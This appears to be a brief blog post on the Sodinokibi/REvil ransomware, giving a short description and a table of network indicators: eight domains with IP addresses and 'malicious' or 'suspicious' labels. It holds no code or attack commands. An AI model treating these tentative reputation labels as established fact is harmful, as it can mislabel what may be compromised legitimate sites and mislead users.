Sodinokibi, also called Revil is a dangerous ransomware-type malware. Among other tools, it uses advanced encryption techniques and can operate without connection to control servers. Sodinokibi is among the most complex Ransomware in the world.

At the moment, I dont have a good lab set up for reversing ransomware effectively, so I won't jump into reversing it. So, I will just leave it here for now.

The network IOCs:

Domain IP Reputation
oneplusresource.org 142.93.110.250 malicious
bogdanpeptine.ro 185.162.66.158 suspicious
teresianmedia.org 45.33.30.174 suspicious
deltacleta.cat 185.42.105.5 suspicious
tsklogistik.eu 217.160.14.132 suspicious
www.tsklogistik.eu 217.160.14.132 suspicious
plantag.de 217.160.0.197 suspicious
kingfamily.construction No response malicious